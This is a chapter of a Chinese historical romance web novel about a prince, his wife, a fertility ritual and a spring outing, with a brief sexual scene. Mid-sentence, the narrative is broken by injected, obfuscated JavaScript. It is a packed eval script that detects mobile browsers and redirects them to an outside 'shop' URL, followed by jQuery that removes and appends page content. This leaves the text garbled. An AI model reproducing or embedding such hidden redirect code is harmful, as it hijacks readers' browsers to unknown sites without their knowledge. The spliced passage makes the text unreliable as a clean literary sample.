39.第39章

温行川叹息一声,起身沐浴,随后翻身上床。哪管得妻子入睡前的要求,自她背后将她轻轻揽过来,将脸埋在她的肩窝,心情随着她的呼吸一起起伏。


“我对你一往情深,可这中间叠加太多的私心与家族间的博弈,让这份爱不再纯粹。可冷元初,要我如何做,才能成为你想要的夫君?”


他深深呼吸,用妻子身上的惠兰香安抚他凌乱破碎的心。如今的他,早已离不开她,却因她这些日子的背弃,忆起七年前母妃抛下他与这个家时,那般决绝的模样。


那之后的日子,他不想回忆……


次日,冷元初醒来时,并未发现温行川的身影,却看出身侧有他睡过的痕迹。轻哼一声,垂下头捂嘴偷笑:他那般魁梧高大的身子,居然会窝在父母依她身量定制的,那秀气轻盈的美人榻,实在是局促现丑!


她笑够起床,坐在妆台前,越过牖窗看到园里桃树下,花瓣落了一地。


守在外面的香兰听到动静敲门进来,帮她洁面梳发,绾好挑心髻,戴好金镶红宝摩利支天挑心,复插四对珐琅花头,再取了一对宝葫耳坠穿好。


见小主没吭声,顺着她的视线望去,笑着捏了捏她的肩颈说道:“我收了不少桃花瓣,回头给小姐做胭脂如何?”


“好,我等你做好。”


冷元初收回视线,环顾内室。刚来那时屋内满是男人的物件,如今的这里,多了些如丝绸般的轻盈和温柔。


她已经在这里生活好久了。


轻轻摸了摸手上的珊瑚戒指,想起母亲和婆婆都曾说,哪怕是先相看再成婚的夫妻,亦要学会克服生活中的各种摩擦。现如今亲王也好、郡王也罢,都纵容她去做经营大板巷这般让她有成就感的事情,她不能再耍性子。


做个体贴的妻子、做好恭顺的儿媳才是她的正道。


冷元初站起身,伸展下身子,瞥见桌案上的绣筐,取了针线,挑了一块水纹紫锦做里,团蟒纹花青云锦做面,复坐回绣櫈安静回针。不消半日缝出一个状似石榴的大肚荷包,举起来看了看,甚是满意自己的手艺。


佩兰端着银耳汤掀帘进来时,见自家小主子正在屏气凝神,一针针绣着“初”字,打趣道:


“小姐主动做新绣活,真是稀罕事!不过这荷包哪需要小姐亲自做,把它给我,我来收针。”


“又来逗我,之前绣给皇帝的《百孝图》,也是主动的,可不能瞎说!”冷元初嗔怪她一句,咬断丝线收针,端详手中的荷包。


“这是我要亲自绣给郡王的心意。”


佩兰把碗放下,凑近些看个清楚,“我都不敢想,王爷看到它得有多欢喜!”


冷元初端起玲珑汤碗,喝下银耳汤后笑言:“可惜我还是不会绣花,这荷包若能再添个兰花更善,来日再言吧!话说回来,得他顺我意,才能得到我的绣品呢!”


说罢从绣筐中寻出一细皮革,与佩兰一起鞣制成绳,穿进荷包扎口,一个独属于温行川的荷包便做好了。


晚膳后,冷元初见温行川进到中堂时,手里端着一盘新衣,惊讶问他。


“今日便做成了?”


“夫人发话自然是本王的头等大事,哪敢拖沓延宕?”


温行川下了早朝立刻赶到织造局,哪怕别的织活都停下来,也得即刻赶制出此轻裳。


他完全记得那天她立于长街之上的姝影,是以交代得很细。可这毕竟不是那件,不敢多言,生怕再因一丝疏漏惹妻子生气。


冷元初取下新衣看了看,当然不算完全一致,但这件她很喜欢,没有刁难温行川,何况如此短的时间制成此色彩款式大差不差的新衣,想必他废了些口舌和力气。


“这件我喜欢,留下吧!”


温行川舒了口气,正想着是否可以不被拒绝与她相拥,却见她递过来一个精良的荷包。看到这个从颜色到大小完全合他心意的荷包,春日暖意涌上心头,摩挲那金丝绣出的“初”字,欢喜问道:


“这是初初亲手绣的?为夫甚是感动!”


冷元初背着手踮踮脚,挺直身子小幅摆了摆,娇嗔一句。


“你以后不许气我,我会再送你别的。”


“好,好!”


温行川放下荷包,一把将她抱在怀中,轻轻亲吻她的乌发,冷元初心里稍稍挣扎下,环住他的腰。软磨硬泡间,他与她紧紧嵌合,磨抵纠缠间轻轻拢开她被汗打湿的额前碎发,嗍吮身前的桃花瓣,把她牢牢困住,任由他们的汗与呼吸混在一起。


结束时,他紧紧箍住她,喂了全部。冷元初感到黏腻,急着起身沐浴,却被他阻拦。本就疲乏,她挣扎几下,竟是昏昏睡去,枕着那装着小孩旧衣的锦枕……


晨起未见温行川的身影,冷元初揉着腰起床,坐直缓缓,而后才慢慢站起来,没想到抬脚走了两步就摇摇欲坠。


扶着床架扫视着内室这一片狼藉——角落的花瓶倒了,湖笔砚台和几摞书散落一地,甚至地上还留着团团水渍,扶额轻轻吐纳。


他们是素了好久,久到她险些忘记喝那避子药了。


如何原谅他,也不好在这局面下,再生出一个孩子与她一同受胁遭罪……


日头微升,雾气尚未褪尽,冷元初未换寝袍,披了件素白鹤氅出了门,踩着露水走到那状似九狮的翠湖映山中。弯弯绕绕直到一死角,见到久候在这里的佩兰。


“小姐,这药不能再喝了……我如何寻良方,它都是有微毒的啊!喝多了,小姐身体可怎么扛得住啊!”佩兰端着碗,咬着唇不肯递药,眼角的雀斑似被泪水洇散。


“我没事,给我吧,长痛不如短痛。”冷元初接过来一饮而尽。


“我先回去,你记得把碗洗净摔得细碎丢出去。”


“……是。”


取了帕子擦了擦唇上的残痕,冷元初没再与佩兰多说什么,裹紧鹤氅悄悄返回。才走出那星罗洞壑,正撞见提着剑走过的温行川,骇得娇花微抖,僵立一处。


“初初怎么在这里?”


“夫君没去上早朝?”


二人一起开口,复又沉默。温行川走近,用手背碰了碰她的脸,要她不自觉缩了一下。


“初初忘了?今日是上巳节休沐,我还要带你去沐春呢。”温行川觉出她脸颊冰凉,站得近些,双手捧起她的脸,为她驱寒。


“看我糊涂的,竟是忘了日子……”冷元初不敢与他相视,岔开话题。


“晨起前梦见丢了的金钗落在这里,醒来急着找,当然是寻不到了。”


温行川捧着她的脸,凝视那双琥珀杏眼,漫不经心说道:“看来是昨夜为夫劲道不够,让夫人还有力气做梦。”


眼看着她小脸腾红,嘴角忍不住上扬,努力克制不让笑声溢出,搂着她走回内室更衣用膳。


换好那件新制的绒黄轻锻裳,冷元初要玉兰为她戴一百合花冠。等到温行川更衣归来,见他一身柳青长衫,头顶玉冠,未束的发丝如墨云般倾泻而下,留有几缕柔顺地


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518883|139892||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


垂在肩头,不禁眼前一亮。


“竟是戴着我送你那竹节玉簪!”


“如何?”


“甚是儒雅随性,我喜欢。”


“那以后我多在夫人面前穿这文人墨客的装束。”


“好啊!”


谈笑间二人先去与亲王夫妇请安。


端坐高堂受了礼后,温琅复又拿起一旁的兵书,随口一提。


“拜不拜高禖喜神,看初儿的意思吧!”


冷元初俶尔想起,三月初三上巳节,自古习俗便有祭祀高禖,祈愿美满婚姻,早生贵子乃至生育顺利……


慧性灵心的她如何听不出公爹的意思,点头表示同意。


没想到在她点头的同时,香案供桌迅速摆好,典祀官寻好方位,四周奔出一群外披五彩布条、手举铃铛串、面带丑陋面具的巫觋,团团围住她和温行川。


随着祭祀之礼的牵引,琴瑟击鼓发出的嘈杂之音、巫觋围着他们转圈时发出叮铃之声,与那斑斓成片的光影扰得她头晕目眩,一个没站稳跌在温行川怀里。茫然举着弓韣,由着温行川将箭矢于牡器前掷入。


“郡王殿下、王妃娘娘,可以向着坤卦方向进香许愿了。”典祀官递来点好的清香,冷元初恍惚着,顺着指引完成祭祀。


待到祭祀礼毕,温行川先回过神,拉了拉冷元初的手。


“我们走吧。”


“啊?去哪里?”


“去石子岗吗?”


冷元初这才想起他们本就是要出府的。“好,我还没见过春日的石子岗呢。”


待到马车赶到时,温行川见这里游人如织,递给妻子幂篱,要她戴好。


冷元初急着游玩,戴好幂篱先下了车,提起裙摆踩过青草,奔向一处高地,回身唤着温行川快些跟上。


温行川听到她的呼唤时才下了马车站定,抬眼望过去,青嫩的柳枝随风飘曳,树下的女子正抬起玉手撩起面纱,嫩黄的衣袖滑落在肘弯,露出白皙的藕臂。


回眸一笑间,天地与百花尽失颜色,只有她,他的妻子冷元初,独占他的心田。


大步走向她时,温行川竟生出一种,他越来越跟不上她的错觉,包括她的想法,她的心念。妻子的热忱如旭日,一直是他永不偏移的方向,直到他们吵这个架,才发现二人坚持的航道,始终是有偏差的。


近些日子在上下朝堂的路上,温行川思考过冷元初问出的那句“何为尊卑贵贱”。


可他不明白,他的皇祖父统一了天下,给予苍生免遭割据混战之苦,难道不配她心中的“尊”?冷公将谋臣之功换为滔天权力,难道不是为了所谓的贵?尊卑有序是为礼也,定亲疏,决嫌疑,别同异,明是非,否则何来统治秩序?何来太平天下?


但他不能说她是错的,只因她不是站在皇室贵族的角度,而是向着百姓、奴隶甚至是妓女,这个可爱的小女子,脑袋里到底在想什么啊……


温行川叹了口气,走上前来到妻子身旁,用他佩戴砗磲扳指的右手握紧她的左手,拇指轻轻触碰她的那枚珊瑚戒指,凝视她片刻,抬手落下她的面纱,预备带她四下转转。


“川临贤弟?”二人皆听到这句招呼,一齐回头,竟是郄贤。


“清墟道长?”冷元初轻轻问道,看他一身道袍布冠,如此称呼郡王,应是他的伴读了。


“这位必是王妃娘娘,与娘娘道喜了。”郄贤面向冷元初躬身作揖。冷元初不明所以,侧头望了眼温行川。